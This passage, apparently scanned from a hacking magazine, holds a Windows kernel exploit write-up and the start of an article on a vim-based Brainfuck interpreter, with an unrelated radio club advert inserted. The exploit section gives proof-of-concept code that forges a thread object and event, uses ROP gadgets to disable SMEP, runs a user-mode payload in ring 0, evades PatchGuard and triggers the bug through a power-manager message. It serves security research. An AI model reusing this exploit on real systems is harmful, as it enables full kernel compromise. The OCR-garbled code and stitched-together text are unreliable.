

8.1.3 Thread Waking 

Suppose there exists a synchronization event, with 
a single waiter (thus, a single wait block). This 
waiter is currently blocked in a wait any fashion on 
the event and has no other objects that it is wait- 
ing on (the astute reader will note this is irrelevant, 
due to the nature of wait any). The call to KeSet- 
Event will follow the following pattern: KeSetEvent 
— ¥ KiSignalSynchronizationObject — ► KiTryUn- 
waitThread — > KiSignalThread 

At the end of this chain, the thread’s state will 
have changed, going from what should be its cur- 
rent Waiting state to its new DeferredReady state, 
indicating that it is, in a way, ready to be prepped 
for execution. For it to be found in this state, it will 
be added to the queue of DeferredReady threads for 
the current processor, which lives in the KPRCB’s 
Def erredReadyListHead lock-free stack list. Mean- 
while, the wait block’s state, which should have been 
set to WaitBlockActive, will now migrate to Wait- 
Blocklnactive, indicating that this is no longer a 
valid wait — the thread is ready to be awakened. 


KeSetEvent 



Ki Update ThreadState 


One of the most unique things about the NT 
scheduler is that it does not rely on a scheduler tick 
or other external event in order to kick off schedul- 
ing operations and pre-emption. In fact, any time 
a function has the possibility to change the state 
of a thread, it must immediately react to possi- 
ble system-wide scheduler changes that this state 
transition has caused. Such functions implement 
this logic by calling the KiExitDispatcher function, 
with some hints as to what operation just occurred. 
In the case of KeSetEvent, the AdjustUnwait hint 
is used to indicate that one or more threads have 
potentially been woken. 

8.1.4 One Does Not Simply Exit the Dis- 
patcher . . . 

Once inside KiExitDispatcher, the scheduler first 
checks if DeferredReady threads already exist in the 
KPRCB’s queue. In our scenario, we know this will 
be the case, so let’s see what happens next. A call to 
KiProcessThreadWaitList is made, which iterates 
over each thread in the Def erredReadyListHead, 
and for each one, a subsequent call to KiUnlink- 
WaitBlock occurs, which unlinks all wait blocks as- 
sociated with this thread that are in WaitBlock- 
Active state. Then, the AdjustReason field in the 
KTHREAD structure is set to the hint value we refer- 
enced earlier (AdjustUnwait here), and a potential 
priority boost, or increment, is added in the Adjust- 
Increment field of the KTHREAD. For events, this will 
be equal to EVENT_ I N CREMENT , or 1. 

8.1.5 Standby! Get Ready for My Thread 

As each thread is processed in this way, a call to 
KiReady Thread is finally performed. This routine’s 
job is to check whether or not the thread’s kernel 
stack is currently resident, as the NT kernel has 
an optimization that automatically causes the evic- 
tion (and even potential paging out) of the kernel 
stack of any user-mode waiting thread after a cer- 
tain period of time (typically 4-6 seconds). This is 
exposed through the KernelStackResident field in 
the KTHREAD. In Windows 10, a process’ set of kernel 
stacks can also be evicted when a process is frozen 


64 



as part of new behaviour for Modern (Metro) ap- 
plications, so another flag, ProcessStackCountDec- 
remented is also checked. For our purposes, let’s as- 
sume the thread has a fully-resident kernel stack. In 
this case, we move onto KiDeferredReady Thread, 
which will handle the DeferredReady Ready (or 
Standby) transition. 

Unlike a DeferredReady thread, which can be 
ready on an arbitrary processor queue, a Ready 
thread must be on the proper processor queue 
(and/or shared queue, in Windows 8 and later). Ex- 
plaining the selection algorithms is beyond the scope 
of this article, but suffice it to say that the kernel will 
attempt to find the best possible processor among: 
idle cores, parked cores, heterogeneous vs. homoge- 
neous cores, and busy cores, and balance that with 
the hard affinity, soft affinity /ideal processor, and 
group scheduling ranks and weights. Once a proces- 
sor is chosen, the NextProcessor field in KTHREAD 
is set to its index. Ultimately, the following possi- 
bilities exist: 

1. An idle processor was chosen. The KiUpdate- 
ThreadState routine executes and sets the 
thread’s state to Standby and sets the Next- 
Thread field in the KPRCB to the selected 
KTHREAD. The thread will start executing im- 
minently. 

2. An idle processor was chosen, which already 
had a thread selected as its Next Thread. The 
same operations as above happen, but the ex- 
isting KTHREAD is now pre-empted and must be 
dealt with. The thread will start executing 
imminently. 

3. A busy processor was chosen, and this thread 
is more important. The same operations as in 
case ^2 happen, with pre-emption again. The 
thread will start executing imminently. 

4. A busy processor was chosen, but this thread is 
not more important. KiAddThreadToReady- 
Queue is used instead, and the state will be 
set to Ready instead. The thread will execute 
at a later time. 

8.1.6 Internals Secondo Intermezzo 

It should now become apparent that, given a cus- 
tom KTHREAD structure, we can fool the scheduler 
into entering a scenario where that thread is selected 
for immediate execution. To make things even sim- 
pler, if we can force this thread to execute on the 


current processor, we can pre-empt ourselves and 
force an immediate switch to the new thread, with- 
out disturbing other processors and worrying about 
pre-empting other threads. 

In order to go down this path, the KTHREAD we 
create must have a single, fixed, hard affinity, which 
will be set to our currently executing processor. We 
can do this by manipulating the Affinity field of 
the KTHREAD. This will ensure that the scheduler 
does not look at any idle processors. It must also 
have the current processor as its soft affinity, or ideal 
processor, so that the scheduler does not look at any 
other busy processors. By restricting all idle proces- 
sors from selection and ignoring all other busy pro- 
cessors, the scheduler will have no choice but to pick 
the current processor. 

Yet we still have to choose between path #3 and 
#4 above, and get this new thread to appear “more 
important”. This is easily done by ensuring that our 
new thread’s priority (in the KTHREAD’s Priority) 
field will be higher than the current thread’s. 

8.1.7 Completing the Exit 

Once KiDeferredReady Thread is done with its busi- 
ness and returns to KiReadyThread, which returns 
to KiProcessThreadWaitList, which returns to Ki- 
ExitDispatcher, it’s time to act. The routine will 
now verify if it’s possible to do so based on the IRQL 
at the time the event was signalled a level of DIS- 
PATCH_LEVEL or above will indicate that nothing can 
be done yet, so an interrupt will be queued, which 
should fire as soon as the IRQL drops. Otherwise, it 
will check if the NextThread field in the KPRCB is 
populated, implying that a new thread was chosen 
on the current processor. 

At this point, NextThread will be set to NULL 
(after capturing its value), and KiUpdateThread- 
State will be called again, this time with the 
new state set to Running, causing the KPRCB ’s 
Current Thread field to now point to this thread 
instead. The old thread, meanwhile, will be pre- 
empted and added to the Ready list with KiQueue- 
Ready Thread. 

Once that’s done, it’s time to call KiSwapCon- 
text. Once control returns from this function, the 
new thread will actually be running (i.e., it will ba- 
sically be returning from whatever had pre-empted 
it to begin with), and KiDeliverApc will be called 
as needed in order to deliver any Asynchronous Pro- 
cedure Calls (APCs) that were pending to this new 
thread. 
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KiExitDispatcher is done, and it returns back 
to its caller— not KeSetEvent! As we are now on 
a new thread, with a new stack, this will actually 
probably return to a completely different API, such 

as KeWaitForSingleObject. 

8.1.8 Make It So — the Context Switch 

To understand how KiSwapContext is able to change 
to a totally different thread’s execution context, let’s 
go inside the belly of the beast. The first oper- 
ation that we see is the construction of the ex- 
ception frame, which is done with the GENERATE_- 
EXCEPTION_FRAME assembly macro, which is pub- 
lic in kxamd64 . inc. This essentially constructs a 
KEXCEPTION_FRAME on the stack, storing all the non- 
volatile register contents. Then, the SwapContext 
function is called. 

Inside of SwapContext, a second structure is 
built on the stack, known as the KSWITCH_FRAME 
structure, it is documented in the ntosp.h header 
file (but not in the public symbols). Inside of the 
routine, the following key actions are taken on an 
x64 processor (similar, but uniquely different actions 
are taken on other CPU architectures): 

1. The Running field is set to 1 inside of the new 

KTHREAD. 

2. Runtime CPU Cycles start accumulating 
based on the KPRCB’s StartCycles and 
CycleTime fields. 

3. The count of context switches is incremented 
in KPRCB’s ContextSwitches field. 

4. The NpxState field is checked to see if 
FPU/XSAVE state must be captured for the 
old thread. 

5. The current value of the stack pointer RSP, 
is stored in the old thread’s KernelStack 
KTHREAD field. 

6. RSP is updated based on the new thread’s 
KernelStack value. 

7. A new LDT is loaded if the process owning 
the new thread is different than the old thread 
(i.e., a process switch has occurred). 

8. In a similar vein to the above, the process affin- 
ity is updated if needed, and a new CR3 value 
is loaded, again in the case of a process switch. 


9. The RSPO is updated in the current Task State 
Segment (TSS), which is indicated by the Tss- 
Base field of the KPCR. The value is set to the 
InitialStack field of the new KTHREAD. 

10. The RspBase in the KPRCB is updated as per 
the above as well. 

11. The Running field is set to 0 in the old 

KTHREAD. 

12. The NpxField is checked to see if 
FPU/XSAVE state must be restored for the 
new thread. 

13. The Compatibility Mode TEB Segment in 
the GDT (stored in the GdtBase field of 
the KPCR) is updated to point to the new 
thread’s TEB, stored in the Teb field of the 

KTHREAD. 

14. The DS, ES, FS segments are loaded with their 
canonical values if they were modified. 

15. The GS value is updated in both MSRs by us- 
ing the swapgs instruction and reloading the 
GS segment in between. 

16. The KPCR’s NtTib field is updated to point 
to the new thread’s TEB, and WRMSR is used 
to set MSR_GS_SWAP. 

17. The count of context switches is incremented 
in KTHREAD’s ContextSwitches field. 

18. The switch frame is popped off the stack, and 
control returns to the caller’s RIP address on 
the stack. 

Note that in Windows 10, steps 13-16 are only 
performed if the new thread is not a system thread, 
which is indicated by the SystemThread flag in the 
KTHREAD. 

Finally, now having returned back in KiSwap- 
Context again, the REST0RE_EXCEPTI0N_FRAME 
macro is used to pop off all non-volatile register state 
from the stack frame. 
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8.1.9 Coda 


With the sequence of steps performed by the con- 
text switch now exposed, taking control of a thread 
is an easy matter of controlling its Kerne IStack field 
in the KTHREAD. As soon as the RSP value is set to 
this location, the eventual ret instruction will get us 
wherever we need to go, with full Ring 0 privileges, 
as a typical ROP-friendly instruction. 

Even more, if we return to KiSwapContext (as- 
suming we have an information leak) we have the 
RESTORE_EXCEPTION_FRAME macro, which will take 
care of everything but RAX, RCX, and RDX for us. We 
can of course return anywhere else we’d like and 
build our own ROP chain. 


8.1.10 PoC 

Let’s look at the code that implements everything 
we’ve just seen. First, we need to hard-code our cur- 
rent user-mode thread to run only on the first CPU 
of Group 0 (always CPU 0). The reason for this will 
become obvious shortly: 


2 

4 


a f f i n i t y . Group = 0; 
affinity . Mask = 1 ; 
SetThreadGroupAffinity( 

GetCurrentThread ( ) , &affinity , NULL); 


Next, let us create an active wait any wait block, 
associated with an arbitrary thread: 

deathBlock . WaitType = WaitAny; 

2 deathBlock . Thread = fedeathThread ; 

deathBlock . BlockState = WaitBlockActive ; 


which is not available to user-mode. Therefore, by 
forcing our thread to run on Group 0 earlier, we can 
guarantee that the CPU Index 0 matches Processor 

0 . 

1 deathThread . Affinity = affinity; 
deathThread . IdealProcessor = 0; 


Now we know this thread will run on the same 
processor we’re on, but we want to guarantee it will 
pre-empt us. In other words, we need to bump up 
its priority higher than ours. We could pick any 
number higher than the current priority, but we’ll 
pick 31 for two reasons. First, it’s practically guar- 
anteed to pre-empt anything on this processor, and 
second, it’s in the so-called real-time range which 
means it’s not subject to priority adjustments and 
quantum tracking, which will make the scheduler’s 
job easier when getting this thread in a runnable 
state (and avoid us having to define more state). 

deathThread . P r ior it y = 31; 


Okay, so if we’re going to claim that our event 
object is being waited on by this thread, we bet- 
ter make the thread appear as if it’s in a committed 
waiting state with one wait block — the one the event 
is associated with: 

1 deathThread . State = Waiting; 

deathThread . WaitRegister . State = 

3 WaitCommitted ; 

deathThread . WaitBlockList = &deathBlock ; 

5 deathThread . WaitBlockCount = 1; 


Then we create a Synchronization Event, which 
is currently tied to this wait block: 

1 deathEvent . Header . Type = 

EventSynchronizationObject ; 

3 InitializeListHeadf 

&deathEvent . Header . WaitListHead ) ; 

5 I nser t T ai 1L is t ( 

&deathEvent . Header . WaitListHead , 

7 &deathBlock . WaitListEntry ) ; 


All right! We now have our event and wait block. 
It’s tied to the deathThread, so let’s go fill that out. 
First, we give this thread the correct hard affinity 
(i.e. , the one we just set for ourselves) and soft affin- 
ity (i.e., the ideal processor). Note that the ideal 
processor is expressed as the raw processor index, 


Excellent! For the context switch routine to work 
correctly, we also need to make it look like this 
thread is in the same process as the current thread. 
Otherwise, our address space will become invalid, 
and all sorts of other crashes will occur. In order 
to do this, we need to know the kernel pointer of 
the current process, or KPR0CESS structure. Thank- 
fully, there exists a variety of documented informa- 
tion leaks in the kernel that will allow us to obtain 
this information. One common technique is to open 
a handle to our own process ID and then enumerate 
our own handle table until we find a match for the 
handle number. The Windows API will then con- 
tain the kernel address of the object associated with 
this handle (i.e., our very own process!). 
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deathThread . ApcState . Process = addrProcess ; 


Last, but not least, we need to set up the 
kernel stack, which should be pointing to a 
KSWITCH_FRAME. And we need to confirm that the 
stack truly is resident, as per our discoveries above. 
The switch frame has a return address, which we are 
free to set to any address we’d like to ROP into. 

1 deathThread . KernelSt ackResident = TRUE; 

deathThread . KernelStack = 

3 &deathStack . SwitchFrame ; 

deathStack . SwitchFrame . Return = 

5 exploit Gadget ; 


Actually, let’s not forget that we also need to 
have a valid FPU stack, so that the FPU/XSAVE 
restore can work when context switching. One easy 
to way to do this is as follows: 

1 fxsave ( deathFpuStack ) ; 

deathThread . StateSaveArea = deathFpuStack ; 


Once all the above operations are done, we have 
a fully exploitable event object, which will get us to 
“exploitGadget”. But what should that be? 


8.2 ACT II. The Right Gadget and 
Cleanup 


8.2.1 ROPing to User- Mode 


User mode 
stack 


Kernel 

image 


CPU state 


0xFF . . .34c 
0x21480 - — r 

r 

0xFF . .1088 
0x10600- 


pop rex 
ret ' 


mov cr4, rex 
ret 


rex = 0x21480 


cr4 = 0x21480 


payload 


rip = 0x10000 
CS = 0x10 (ring 0) 


User mode image 


Once we’ve established control over RIP/RSP, it’s 
time to actually extract some use out of this abil- 
ity. As we’re not going to be injecting executable 
code in the kernel (especially hard on Windows 8.1, 
and even harder on Windows 10), the best place to 
direct RIP is in user mode. Sadly, modern mitiga- 
tions such as SMEP make this impossible, and any 
attempt to execute our user-mode code will result in 
a nasty crash. Fortunately, SMEP is a CPU feature 


that must be enabled by software, and it relies on 
a particular flag in the CR4 to be set. All we need 
is the right ROP gadget to turn that flag off. As it 
happens, the function to flush the current TLB is 
inlined throughout the kernel, which results in the 
following assembly sequence when it’s done at the 
end of a function: 

. text :00000001401B874C mov cr4 , rex 
2 . text :00000001401B874F retn 


Well, now all that we’re missing is a gadget 
to load the right value into RCX. This isn’t hard, 
and for example, the KeRemoveQueueDpcEx function 
(which is exported) has exactly what we need: 

. text :00000001400DB5B1 pop rex 
2 . text :00000001400DB5B2 retn 


With these two simple gadgets, we can control 
and fill out the KEXCEPTION_FRAME that’s supposed 
to be right on top of the KSWITCH_FRAME as follows: 


2 

4 

6 

8 


deathStack . SwitchFrame . Return 

popRcxRopGadget ; // pop rex . . . 
deathStack . ExceptionFrame . PlHome = 

desiredCr4Value ; // i.e.:, 0x506F8 
deathStack . ExceptionFrame . P2Home = 

cr4RopGadget ; // mov cr4 , rex... 

deathStack . ExceptionFrame . P3Home = 
StagelPayload ; // User RIP 


8.2.2 Consistency and Recovery 

Imagine yourself in StagelPayload now. Your 
KPRCB’s Current Thread field points to a user- 
mode KTHREAD inside of your own personal address 
space. Your RSP (and your KTHREAD’s RSP and 
TSS’s RSPO) are also pointing to some user-mode 
buffer that’s only valid inside your address space. 
All it takes is a another thread on another processor 
scouring the CPU queues (trying to find out who 
to pre-empt) and dereferencing the “deathThread”, 
before a crash occurs. And let me tell you, that 
happens. . . a lot! Our first order of business should 
therefore be to allocate some sort of globally visi- 
ble kernel memory where we can store the KTHREAD 
we’ve built for ourselves. But the mere act of allo- 
cating memory will take a relatively long time, and 
chances are high we’ll crash early. 
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So we’ll take a page out of some very early NT 
rootkits. Taking advantage of the fact that the 
KUSER_SHARED_DATA structure has a fixed, global 
address on all Windows machines and is visible in 
all processes. It’s got just enough slack space to fit 
our KTHREAD structure too! As soon as that’s done, 
we want to update the KPRCB’s CurrentThread to 
point to this new copy. The code looks something 
like this: 


2 

4 

6 


PKTHKEAD newThread = 

SharedUserData+sizeof (* SharedUserData ) ; 

movsq( newThread , &deathThread , 

sizeof (KTHREAD)/ si zeof (ULONG64) ) ; 

_ writegsqword ( 

FIELD_OFFSET (KPRCB, CurrentThread) , 
newThread) ; 


Although unlikely, a race condition is still pos- 
sible right before the copy completes. One could 
avoid this by creating a user-mode process that cre- 
ates priority 31 threads on all processors but the 
current one, spinning forever, until the exploit com- 
pletes. That will remove any occurrences of proces- 
sor queue scanning. 

At this point, we can now attack the kernel in 
any way we want, but once we’re done, what hap- 
pens to this thread? We could attempt to terminate 
it with PsTerminateSystemThread, but a number of 
things are likely to go wrong — namely that we aren’t 
a system thread (but we could fix that by setting 
the right KTHREAD flag). Even beyond that, how- 
ever, the API would attempt to access a number of 
additional KTHREAD and KPROCESS fields, dereference 
the thread object as an ETHREAD (which we haven’t 
built), and require an amount of information leaks 
so great that it is unlikely to ever work. Entering 
a tight spin loop would fix these problems, but the 
CPU would be pegged down forever, and a single- 
core machine would simply lock up. 


We’ve seen, however, that we have enough of a 
KTHREAD to exit the scheduler and even be context- 
switched in. Do we have enough to enter the sched- 
uler and be context-switched out? The simplest 
way to do so is to use the KeDelayExecutionThread 
API and pass in an absurdly large timeout value — 
guaranteeing our thread will be stuck in a wait state 
forever. 

Before doing so, however, we should remem- 
ber that all dispatching operations happen at 
DISPATCH_LEVEL, as we saw earlier. And normally, 
the exit from SwapContext would’ve resulted in re- 
turning back to some function that had raised the 
IRQL, so that it could then lower it. We are not al- 
lowed to re-enter the scheduler at this IRQL, so we’ll 
first lower it back down to PASSIVE_LEVEL ourselves. 
Our final cleanup code thus looks like this: 

1 writecr8 (PASSIVE_LEVEL) ; 

timeout . QuadPart = 0x800000007FFFFFFF ; 

3 pKeDelayExecutionThread ( KernelMode , 

FALSE, &timeout); 


8.2.3 Enter PatchGuard 

Readers of this magazine ought to know that skape 
and skywing aren’t idiots— their PatchGuard tech- 
nology embedded into the NT kernel will actually 
actively scan for changes to KUSER_SHARED_DATA. 
Any modification such as our addition of a ran- 
dom KTHREAD in its tail will result in the famous 
109 BSOD, with a code of “0”, or “Generic Data 
Modification”. 

Thus, we need to clear out our KTHREAD from 
there— but that poses a problem since we can’t de- 
stroy the KTHREAD before we call KeDelayExecut- 
ionThread. One option is to allocate some non- 
paged pool memory and copy our KTHREAD structure 
in there, then modify the KPRCB CurrentThread 
pointer yet again. But this means that we will be 
leaking a KTHREAD in memory forever. Can we do 
better? 

Another possibility is to do the destruction of the 
KTHREAD after the KeDelayExecutionThread has 
executed. Nobody will ever need to look at, or touch 
the structure, since we know it will never wake up 
again. But how can we run after the endless delay? 
Clearly, we need another activation point — and Win- 
dows offers timer-based deferred procedure routines 
( DPCs ) as a solution. By allocating a nonpaged 
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pool buffer containing a KTIMER structure (initial- 
ized with KelnitializeTimer) and a KDPC structure 
(initialized with KelnitializeDpc), we can then use 
KeSetTimer to force the execution of the DPC to, 
say, 5 seconds later in time. This is easy to do as 
shown below: 


2 

4 

6 


10 

12 


PSTAGE_TWO_DATA data; 

r .A RGE_ INTEGER timeout ; 

data = pExAllocatePool ( NonPagedPool , 

sizeof (* data ) ) ; 

movsq( data— >Code , CleanDpc , 

s izeof ( data— >Code ) / sizeof (ULONG64) ) ; 
pKelnit ializeD pc (&data— >Dpc , 

data— >Code , NULL) ; 

(&data— >Timer ) ; 

timeout . QuadPart = —50000000; 

pKeSetTimer(&data— >Timer , timeout , 

&data— >Dpc) ; 


Inside of the CleanDpc routine, we simply de- 
stroy the thread and free the data: 

2 
4 
6 


PKTHREAD newThread = 

S hared UserD at a+s iz eof (*SharedUserData) ; 
data = CONTAINING_RECORD( 

Dpc , STAGE_TWO_DATA, Dpc) ; 

stosq ( newThread , 0, 

sizeof (KTHREAD) / sizeof (ULONG64) ) ; 
pExFreePool ( data ) ; 


With the KUSER_SHARED_DATA structure cleaned 
up, we should never hear from PatchGuard again. 
And so, the system is now restored back to sanity— 
except for the case when a few seconds later, some 
thread, on some arbitrary processor, inserts a new 
timer in the tree of timers. The scheduler, after 
computing a 256-based hash bucket handle for the 
KTIMER entry, inserts it into the list of existing 
KTIMER structures that share the same hash— that, 
with a probability of 1/256, is the near-infinitely ex- 
piring timer that KeDelayExecutionThread is us- 
ing. Why is this a problem, you ask? 

Well, as it happens, the kernel doesn’t want to 
have to create a timer object whenever a wait is 
done that involves a timeout. And so, any time 
that a synchronization object is waited upon for a 
fixed period of time, or any time that a Sleep/Ke- 
DelayExecutionThread call is performed, an inter- 
nal KTIMER structure that is preallocated in the 
KTHREAD structure is used, under the field name 
Timer. This also creates one of the NT kernel’s 
best-designed features: the ability to wait on ob- 
jects without requiring a single memory allocation. 


Unfortunately for us as attackers, this means 
that the timer table now contains a pointer to what 
is essentially computable as KUSER_SHARED_DATA + 
sizeof (KUSER_SHARED_DATA) + FIELD_0FFSET(- 
KTHREAD, Timer))... a data structure that we 
have completely zeroed out. That list of hash en- 
tries will therefore hit a NULL pointer (Windows 
lists are circular, not NULL- terminated) and crash. 
We must do one more thing in the CleanDpc routine 
then remove this linkage, which we can do easily: 

1 RemoveEntryList ( 

&newThread— >Timer . TimerListEntry ) ; 


8.2.4 PatchGuard Redux 

Remember the part about Patchguard’s developers 
not being stupid? Well, they’re certainly not go- 
ing to let the corrupt, SMEP-disabled value of CR4 
stand! And so it is, that after a few minutes (or 
less), another 109 BSOD is likely to appear, this 
time with code 15 (“Critical processor register modi- 
fied”). Hence, this is one more thing that we’re going 
to have to clean up, and yet again something that 
we cannot do as part of our user-mode pre-KeDel- 
ayExecutionThread call, because the very next in- 
struction would then issue a SMEP violation. Good 
thing we’ve got our 5-second timer-based DPC! 

Except that things are never that easy, as readers 
probably know. One of the great (or terrible) things 
about DPCs is that they run in arbitrary thread con- 
text and don’t have a particular affinity to a given 
processor either, unless told otherwise. While in a 
normal interrupt service routine environment, the 
DPC will typically execute on the same processor it 
was queued on, this is not the case with timer-based 
DPCs. In fact, on most systems, these will execute 
on CPU 0 at all times, whereas on others, they can 
be distributed across processors based on utilization 
and power needs. Why is this a problem? Because 
we’ve disabled SMEP on one particular processor 
the one that ran our first-stage user-mode payload, 
while the DPC can run on a completely different 
processor. 

As always, the NT kernel offers up an API as 
a solution. By using KeSetTargetProcessorDpcEx, 
we can make sure the DPC runs on the same pro- 
cessor as our first stage payload (which should be 
CPU 0, Group 0, but let’s do this in a more portable 
way): 
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PRCX3SSOR_NUMBER procNumber ; 
pKe Get Current Processor NumberEx ( 
feprocNumber) ; 

pKeSetTargetProcessorDpcEx ( 
&data— >Dpc, feprocNumber) ; 


Success is now finally ours! By cleaning up 
the KUSER_SHARED_DATA structure, eliminating the 
KTHREAD’s timer from the timer list, and restoring 
CR4 back to its original value, the system is now 
fully restored in its original state, and we’ve even 
freed the KDPC and KTIMER structures. There’s now 
not a single trace of the thread left around, which 
pretty much amounts to the initial idea of terminat- 
ing the thread. From dust we made it, and to dust 
it returned. 

Of course, our payload hasn’t actually done any- 
thing, other than clean up after itself. Obviously, 
at this point, any number of actually real system 
threads could be created, periodic timer DPCs could 
be queued, work items can be queued, and all other 
arbitrary kernel-mode operations are permitted, de- 
pending on the ultimate goals of our exploit. 

8.3 ACT III. Denoument 

8.3.1 The Trigger 

We have so far been operating in an imaginary world 
where we can send the kernel an arbitrary Event 
Object as a KEVENT and have the kernel attempt to 
signal it. We now have shown that this scenario can 
reliably lead to kernel execution. The next question 
is, how can we trigger it? 

As it happens, the kernel has a function called 
PopUmpoProcessPowerMessage, which responds to 
any message that is sent to the ALPC port that 
it creates, called PowerPort. Such messages have 
a simple Tbyte header indicating their type, and a 
type of 7, which we’ll call PowerMessageNotifyLe- 
gacyEvent, and is treated as follows: 

1 eventObject = 

PowerMessage— >NotifyLegacyEvent . Event ; 

3 i f ( event Object ) 

KeSetEvent ( eventObject , 0, 0) ; 


To send messages to this port, a complex se- 
ries of actions and ALPC-specific setup, plus some- 
how getting access to this port, must be performed. 
Thankfully, we don’t need to do any of it, as the 
UMPO . DLL library, which implements the User Mode 


Power Manager, exports a handy UmpoAlpcSend- 
PowerMessage function. By simply injecting a DLL 
into the service, which contains all of the above code 
implementation, we can execute the following se- 
quence to trigger a Ring 3 to Ring 0 jump: 


2 

4 
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powerMessage . Type = 

PowerMessageNotifyLegacyEvent ; 
powerMessage . NotifyLegacyEvent . Event = 
&deathEvent ; 

UmpoAlpcSendPowerMessage ( 

&power Message , s izeof ( powerMessage ) ) ; 


8.4 Conclusion 

As we’ve seen in this analysis, sometimes even the 
most apparently non-exploitable data corruption/- 
type confusion bugs can sometimes be busted open 
with sufficient understanding of the underlying op- 
erating system and rules around the particular data. 
The author is aware of another vulnerability that re- 
sults in control of a lock object— which, when fixed, 
was assumed to be nothing more than a DoS. The 
author posits that such a lock object could’ve also 
been maliciously constructed to appear in an non- 
acquired state, which would then cause the kernel to 
make the thread acquire the lock — meanwhile, with 
a race condition, the lock could’ve been made to ap- 
pear contended, such as to cause the release path to 
signal the contention even, and ultimately lead to 
the same exploitation path as discussed here. 

It is also important to note that such data cor- 
ruption vulnerabilities, which can lead to stack piv- 
oting and ROP into user mode will bypass technolo- 
gies such as Device Guard, even if configured with 
HyperVisor Code Integrity (HVCI)— due to the fact 
that all pages executing here will be marked as exe- 
cutable. All that is needed is the ability to redirect 
execution to the UMPO function, which could be 
done if User-Mode UMCI is disabled, or if Power- 
Shell is enabled without script protection — one can 
reflectively inject and redirect execution of the Sv- 
chost.exe process. Note, however, that enabling 
HVCI will activate HyperGuard, which protects the 
CR4 register and prevents turning off SMEP. This 
must be bypassed by a more complex exploit tech- 
nique either affecting the PTEs or making the kernel 
payload itself be full ROP. 

Finally, Windows Redstone 14352 and later fix 
this issue, just in time for the publication of the ar- 
ticle. This bug will not be back-ported as it does 
not meet the bulletin bar, howevern 
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9 A VIM Execution Engine 


by Chris Domas 


The power of vim is known far and wide, yet it is 
only when we push the venerable editor to its limits 
that we truly see its beauty. To conclusively demon- 
strate vim’s majesty, and silence heretical doubters, 
let us construct a copy /paste/search/replace Turing 
machine, using vanilla vim commands. 

First, we lay some ground rules. Naturally, we 
could build a Turing machine using the built-in vim- 
script, but it is already known that vimscript is 
Turing-complete, and this is hardly sporting, vim 
ex commands (the requests we make from vim when 
we type a colon) are abundant and powerful, but 
these too would make the task simple, and therefore 
would fail to illustrate the glory of vim. Instead, we 
strive to limit ourselves to normal vim commands - 
yank, put, delete, search, and the like. 

With these constraints in mind, we must decide 
on the design of our machine. For simplicity, let 
us implement an interpreter for the widely known 
BrainFuck (BF) programming language. Our ma- 
chine will be a simple text file that, when opened 
in vim and started with a few key presses, inter- 
prets BF code through copy/paste/search/replace 
style vim commands. 

Let us begin by giving our machine some mem- 
ory. We create data tape in the text file by simply 
adding the following: 

_t : 

20000000000 


We now have ten data cells, which we can locate 
by searching for _t. 

Now what of the BF code itself? Let us add a 
Fibonacci number generator to the file: 


4 

6 


-P = 

>++++++++++>+>+ [ [+++++ [>++++++++ 

<-] >. <++++++[> <-]+<<<] >. 

>>[[-] <[>+<-] >>[<<+>+>-] <[>+<- [> 
+ <- [> + <- [> + <- [>+<- [> + <- [> + <- [> + < 
-[>+<-[>[-]>+>+<<<-[>+<-]]]]]]]] 
]]]+>>>] <<<] 


Progress! Now we add lines to accommodate in- 
put and output, although these will be left empty 
for now: 

1 _ i: 

3 o : 


To perform output, our program will need to 
convert the numeric memory cells to ASCII values. 
This can easily be done by adding an ASCII lookup 
table to our program: 


a : 

65 A 66 B 67 C 68 D . . 

127 

UUU 






The arrangement of underscores and spaces will 
assist us in navigating the table with vim com- 
mands. Providing an “unknown” uuu allows us to 
process values outside the ASCII range. 

Now for the fun part — how do we execute our 
BF program using just our simple vim commands? 
We would envision a small set of commands running 
continuously to interpret the program. Of course, 
we could manually type out these commands our- 
selves, over and over, to perform the execution (and 
we indeed encourage this as an enjoyable exercise!), 
but in the unfortunate situation in which an inter- 
preted program fails to halt, we may come to find 
this process laborious. Instead, we will insert the 
keys for these commands directly into our vim file. 
When complete, we can automatically run the com- 
mands on the first line of the file by typing: 

ggyy@ " 


If the first line, in turn, moves to other lines, 
and repeats this process of yanking a line of com- 
mands (yy) and executing the yanked buffer (@"), 
execution can continue indefinitely, without any ad- 
ditional user action. 

! N.B.T.V.A. i 

I The Narrow Bandwidth TV Association (founded 1975) is dedicated to low definition and | 
j mechanical forms of ATV and introduces radio amateurs to TV at an inexpensive level based on ! 
i home-brew construction. NBTV should not be contused with SSTV which produces still pictures ■ 

I at a much higher definition. As TV base bandwidth is only about 7kHz, recording of signals on 1 

I audiocassetle is easily achieved. A quarterly 12-page newsletter is produced and an annual 
j exhibition is held in April/May in the East Midlands. If you would like to join, send a crossed ■ 

! cheque/postal order for £4 (or £3 plus a recent SPRAT wrapper) to Dave Gentle, G4RVL. 1 Sunny • 

| Hill, Milford, Derbys, DE56 0QR, payable to “NBTVA”. j 
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So to begin, let us simplify the process of navi- 
gating the text file by setting marks at key points. 
At the start of our text file, we add commands to 
set a mark at the beginning of the file: 

1 ggOmh 


A mark at the memory tape: 
1 /_t~Mnjmt‘h 


A mark at the BF code: 
1 /_p~Mnjmp‘ h 


part of the BF branch operations [ and ] . We will 
determine the exact commands for each momentar- 
ily, which will replace the unknown ??? above. For 
now, let us continue the previous process of adding 
marks to each for quick navigation. 

1 /_c~Mnjma‘ h/_c~Mnf_mf‘ h/_b~Mnf_mb 


Now that our marks are set, we add to the top of 
our file the commands to execute the first instruc- 
tion in the BF program: 

1 1 ‘ pyl ‘ c /_\V~R" ~Mf-ly2tX@ " 


A mark at the input, output, and ASCII table: 
1 /_o~Mnjmo‘ h/_i~Mnjmi ; li/_a~Mnjma‘ h 


Although these steps are not strictly necessary, 
they will simplify navigating the file for future com- 
mands. 

Now for execution! BF contains 8 instructions: 
increment the current data cell (+), decrement the 
current data cell (-), move to the next data cell (>), 
move to the previous data cell (<), a conditional 
jump forward ([), a conditional jump backward (]), 
output the current data cell (.), and input to the 
current data cell (,). Let us construct a table of 
vim commands to carry out each of these opera- 
tions; each label will act as a marker for looking up 
the corresponding commands: 

1 

3 
5 
7 
9 
11 


c : 

>-???X 

<-???X 

[-???X 

]-???X 

+-???x 

???x 

_ ???x 
_???x 
f: ???X 
b: _ ???X 


This will move to the BF program ( l p), yank one 
BF instruction (yl), move to the command table (‘c), 
find the BF instruction in the table, (/_\V~R"~M) 
move to the list of commands for that instruction 
(f-1), yank the list of commands (y2tX)— skipping 
an X embedded in the command, and seeking for- 
ward to the terminating X — and execute the yanked 
commands (@"). With this, our execution begins! 

Let’s now complete our table by determining the 
commands to execute each BF instruction. > and < 
are particularly simple. For >: 

